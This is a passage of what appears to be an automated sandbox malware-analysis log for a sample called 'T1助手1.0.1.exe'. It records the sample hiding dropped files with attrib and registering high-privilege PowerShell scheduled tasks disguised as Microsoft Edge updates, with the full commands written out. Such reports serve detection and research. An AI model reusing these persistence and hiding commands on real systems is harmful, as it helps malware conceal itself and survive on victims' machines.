Source: SetupHost.exe, 0000000D.00000003.1871348727.0000000002AFD000.00000004.00000020.00020000.00000000.sdmp, SetupHost.exe, 0000000D.00000003.1930041303.0000000002AFD000.00000004.00000020.00020000.00000000.sdmp, SetupHost.exe, 0000000D.00000003.1877225667.0000000002AFD000.00000004.00000020.00020000.00000000.sdmp, SetupHost.exe, 0000000D.00000003.1878724078.0000000002AFD000.00000004.00000020.00020000.00000000.sdmp, SetupHost.exe, 0000000D.00000003.1875178699.0000000002AFD000.00000004.00000020.00020000.00000000.sdmp, SetupHost.exe, 0000000D.00000003.1878033925.0000000002AFD000.00000004.00000020.00020000.00000000.sdmp, SetupHost.exe, 0000000D.00000003.1877721245.0000000002AFD000.00000004.00000020.00020000.00000000.sdmp, SetupHost.exe, 0000000D.00000003.1875596628.0000000002AFD000.00000004.00000020.00020000.00000000.sdmp, SetupHost.exe, 0000000D.00000003.1878323007.0000000002AFD000.00000004.00000020.00020000.00000000.sdmp, SetupHost.exe, 0000000D.00000003.1875962971.0000000002AFD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: SetupHost.exe, 0000000D.00000003.1843118657.0000000002AB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

Code function: 0_2_00007FF77B1F9AE4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF77B1F9AE4

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

Code function: 0_2_00007FF77B2025A0 GetProcessHeap,

0_2_00007FF77B2025A0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F9AE4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF77B1F9AE4
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1EB880 SetUnhandledExceptionFilter,	0_2_00007FF77B1EB880
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1EB69C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF77B1EB69C
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1EAE00 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF77B1EAE00

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe "C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe"	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +s +a +h C:\Users\user\AppData\LineInst.exe&&attrib +s +a +h C:\Users\user\AppData\WinHex.exe&&attrib +s +a +h C:\Users\user\AppData\SystemUpdate.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +a +h C:\Users\user\AppData\LineInst.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +a +h C:\Users\user\AppData\WinHex.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +a +h C:\Users\user\AppData\SystemUpdate.exe	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Process created: C:\Users\user\AppData\WinHex.exe C:\Users\user\AppData\Roaming\../WinHex.exe	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Process created: C:\$Windows.~WS\Sources\SetupHost.exe "C:\$Windows.~WS\Sources\SetupHost.Exe" /Download /Web	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\SystemUpdate.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\SystemUpdate.exe C:\Users\user\AppData\SystemUpdate.exe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Users\user\AppData\SystemUpdate.exe C:\Users\user\AppData\SystemUpdate.exe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=532930
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command " $action = new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\../lineinst.exe'; $trigger = new-scheduledtasktrigger -once -at (get-date); $principal = new-scheduledtaskprincipal -userid 'user' -logontype interactive -runlevel highest; register-scheduledtask -action $action -trigger $trigger -principal $principal -taskname 'microsoftedgeupdatesonce' -description 'microsoftedgeupdatesonce once' -force; start-scheduledtask -taskname 'microsoftedgeupdatesonce' "
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command " $action = new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\../winhex.exe'; $trigger = new-scheduledtasktrigger -atlogon; $principal = new-scheduledtaskprincipal -userid 'user' -logontype interactive -runlevel highest; register-scheduledtask -action $action -trigger $trigger -principal $principal -taskname 'microsoftedgeupdatesonceme' -description 'microsoftedgeupdatesonce once you' -force; start-scheduledtask -taskname 'microsoftedgeupdatesonceme' "
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command " $action = new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\../lineinst.exe'; $trigger = new-scheduledtasktrigger -once -at (get-date); $principal = new-scheduledtaskprincipal -userid 'user' -logontype interactive -runlevel highest; register-scheduledtask -action $action -trigger $trigger -principal $principal -taskname 'microsoftedgeupdatesonce' -description 'microsoftedgeupdatesonce once' -force; start-scheduledtask -taskname 'microsoftedgeupdatesonce' "	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command " $action = new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\../winhex.exe'; $trigger = new-scheduledtasktrigger -atlogon; $principal = new-scheduledtaskprincipal -userid 'user' -logontype interactive -runlevel highest; register-scheduledtask -action $action -trigger $trigger -principal $principal -taskname 'microsoftedgeupdatesonceme' -description 'microsoftedgeupdatesonce once you' -force; start-scheduledtask -taskname 'microsoftedgeupdatesonceme' "	Jump to behavior

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

Code function: 0_2_00007FF77B2089B0 cpuid

0_2_00007FF77B2089B0

Source: C:\$Windows.~WS\Sources\SetupHost.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562 VolumeInformation	Jump to behavior
